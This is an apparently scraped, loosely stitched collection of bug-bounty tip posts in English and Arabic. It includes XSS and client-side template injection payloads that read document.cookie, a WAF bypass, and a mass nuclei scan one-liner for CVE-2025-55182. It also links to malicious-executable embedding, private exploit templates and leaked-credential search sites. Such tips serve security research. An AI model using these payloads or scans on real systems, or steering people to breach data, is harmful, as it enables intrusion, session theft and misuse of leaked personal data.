Mssql Stacked injections Tips #sqli #bugbountytips

Embed A Malicious Executable in a Normal PDF or EXE : medium.com/@sam.rothlisbe…

من فتره للتانيه بحاول ادخل اهانت على h1 , BC كنوع من التغيير . ولكن كل مره اخد فيها N/A او Duplicate بشكل غير طبيعى . ارجع تانى اهانت ف الاماكن بتاعتى المتعود عليها . سؤال هنا مهم ! هل منطقى اخد duplicate على Report اتعمل من سنه كامله ؟

0sman 🇸🇦 Murtada Bin Abdullah (Rood) 1 install waymore tool waymore.py -i domain -mode U And send all the results to burp 2 start bing and google dorking on the same proxy browser to get all the results to burp 3 install GAP extension and then send the target to GAP there’s lot to do, this start

ثغرة Deeplink من الثغرات ال Android الذيذه جدا وده رايت اب انا كتبتها حالل فيها تلات apps vulnerable لثغرة deeplink وفيها شرح للثغره علي قد كده link writeup: medium.com/@Sisi0x/androi… وكمان سايبلك لكن تحميل apps علشان تطبق عليهم ان شآء الله

Cloudflare XSS bypass : ">%20<img src=o onerror=alert``>// github.com/Edr4/XSS-Bypas…

Account takeover techniques

من الحاجات اللي كنت مهتم بيها مؤخرا هي Dark Web OSINT و ازاي اقدر ادور علي المعلومة علي الDark Web او اتأكد من صحتها او مصدرها , فالثريد ده هشارك معاكوا شوية معلومات لذيذة عن الموضوع و فالاخر هحط مصادر لو حد حابب يتعمق فالموضوع ده

🎩🎩Search engines for osint🎩🎩 leak.sx scylla.sh intelx.io 4iq.com leaked.site hashes.org leakcheck.io vigilante.pw leakcheck.net weleakinfo.to

SQLi Automation by mohd farzaan tool Automation script github.com/freelancermija… #sqli #BugBounty

6000+ Private Nuclei Templates t.me/ExploitQuest/42

github.com/coffinxp/loxs/…

When you are sure of your decision. You can escalate . 👍 #bugbounty

Hunter .. Gun & Bounty

Bug Bounty Tip 🔥 | CSTI ≠ SSTI Found {{7*7}} → 49 Thought: SSTI → RCE ❌ Reality: Vue.js → CSTI ✅ Client-side only → DOM XSS Payloads: {{alert(document.cookie)}} Advanced bypass: {{$emit.constructor\alert(document.cookie)`()}}` #BugBounty #bugbountytips #xss

try this WAF bypass trick for rsc&&next.js CVE-2025-55182 All fields can use utf16le charset #React2Shell

instead use this way~ cat domains.txt | httpx-toolkit -silent -sc -td | grep -Ei "Next\.js|React" cat domains.txt | httpx-toolkit -silent -sc -td | grep -Ei "Next\.js|React" | awk '{print $1}' | nuclei -t .local/nuclei-templates/http/cves/2025/CVE-2025-55182.yaml -silent after

Who is hacking manually still?